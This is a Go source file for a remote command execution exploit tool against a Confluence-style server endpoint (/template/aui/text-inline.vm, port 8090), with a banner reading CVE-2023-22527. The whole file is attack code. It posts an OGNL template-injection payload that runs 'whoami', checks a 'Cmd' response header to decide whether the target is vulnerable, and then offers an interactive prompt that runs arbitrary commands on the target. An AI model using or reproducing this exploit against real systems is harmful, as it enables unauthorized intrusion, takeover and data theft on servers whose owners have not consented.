main.go

package main

import (
	"bufio"
	"crypto/tls"
	"flag"
	"fmt"
	"net/http"
	"net/url"
	"os"
	"strings"
	"time"

	"github.com/fatih/color"
)

var (
	targetIP   string
	targetPort string = "8090"
	Path       string = "/template/aui/text-inline.vm"
	URL        string
	command    string

	loading = []string{"⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏"}
	red     = color.New(color.FgRed).Add(color.Bold).SprintFunc()
	green   = color.New(color.FgGreen).Add(color.Bold).SprintFunc()
	blue    = color.New(color.FgHiBlack).Add(color.Bold).SprintFunc()
)

func loadinganim(stopAnim chan bool, done chan bool) {
	for i := 0; ; i++ {
		select {
		case <-stopAnim:
			for k := 0; k < 6; k++ {
				fmt.Printf("\r%s Testing the is host vulnerable?", loading[k%len(loading)])
				time.Sleep(100 * time.Millisecond)
			}
			done <- true
			return
		default:
			fmt.Printf("\r%s Testing the is host vulnerable?", loading[i%len(loading)])
			time.Sleep(100 * time.Millisecond)
		}
	}
}

func main() {

	stopAnim := make(chan bool)
	done := make(chan bool)

	flag.StringVar(&targetIP, "I", "", "In this parameter you should entry Target IP")
	flag.StringVar(&targetPort, "p", "8090", "In this parameter you should entry Target Port")

	flag.Parse()

	Host := targetIP + ":" + targetPort

	URL = "http://" + Host + Path

	if targetIP == "" {
		fmt.Println("Bir host belirtilmedi, missing -I parameter!")
		os.Exit(0)
	}

	fmt.Println(`
  _____   _____   ___ __ ___ ____   ___ ___ ___ ___ ____ 
 / __\ \ / / __|_|_  )  \_  )__ /__|_  )_  ) __|_  )__  |
| (__ \ V /| _|___/ / () / / |_ \___/ / / /|__ \/ /  / / 
 \___| \_/ |___| /___\__/___|___/  /___/___|___/___|/_/  
		`)
	time.Sleep(700 * time.Millisecond)
	go loadinganim(stopAnim, done)
	fmt.Println("You're trying to attack  ------------->  " + URL + "\n")
	time.Sleep(2 * time.Second)

	//testing***************************
	payload := `label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('Cmd',(new freemarker.template.utility.Execute()).exec({"whoami"}))`

	request, err0 := http.NewRequest("POST", URL, strings.NewReader(payload))
	if err0 != nil {
		fmt.Println(err0)
		return
	}
	request.Header.Set("Content-Type", "application/x-www-form-urlencoded")

	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
	}

	client := http.Client{Transport: tr}
	response, err1 := client.Do(request)
	if err1 != nil {
		fmt.Println(err1)
		return
	}
	defer response.Body.Close()

	headers := response.Header
	command_output := headers.Get("Cmd")
	if command_output == "" {
		stopAnim <- true
		<-done
		close(stopAnim)
		text0 := "\r" + targetIP + " is not vulnerable!        \nQuiting script *-*"
		fmt.Print(red(text0))
		os.Exit(0)
	} else {
		stopAnim <- true
		<-done
		close(stopAnim)
		text := "\r" + targetIP + " is vulnerable!!           \ncontinuing progress :*\n"
		fmt.Print(green(text))
	}
	time.Sleep(300 * time.Millisecond)

	for {
		fmt.Print(blue("privia> "))
		reader := bufio.NewReader(os.Stdin)
		command, _ := reader.ReadString('\n')
		command2 := url.QueryEscape(command)
		payload := `label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('Cmd',(new freemarker.template.utility.Execute()).exec({"` + command2 + `"}))`
		request, err00 := http.NewRequest("POST", URL, strings.NewReader(payload))
		if err00 != nil {
			fmt.Println(err00)
			return
		}
		request.Header.Set("Content-Type", "application/x-www-form-urlencoded")
		tr := &http.Transport{
			TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		}

		client := http.Client{Transport: tr}
		response, err01 := client.Do(request)
		if err01 != nil {
			fmt.Println(err01)
			return
		}
		defer response.Body.Close()

		headers := response.Header
		command_output := headers.Get("Cmd")

		fmt.Println(command_output)
	}
}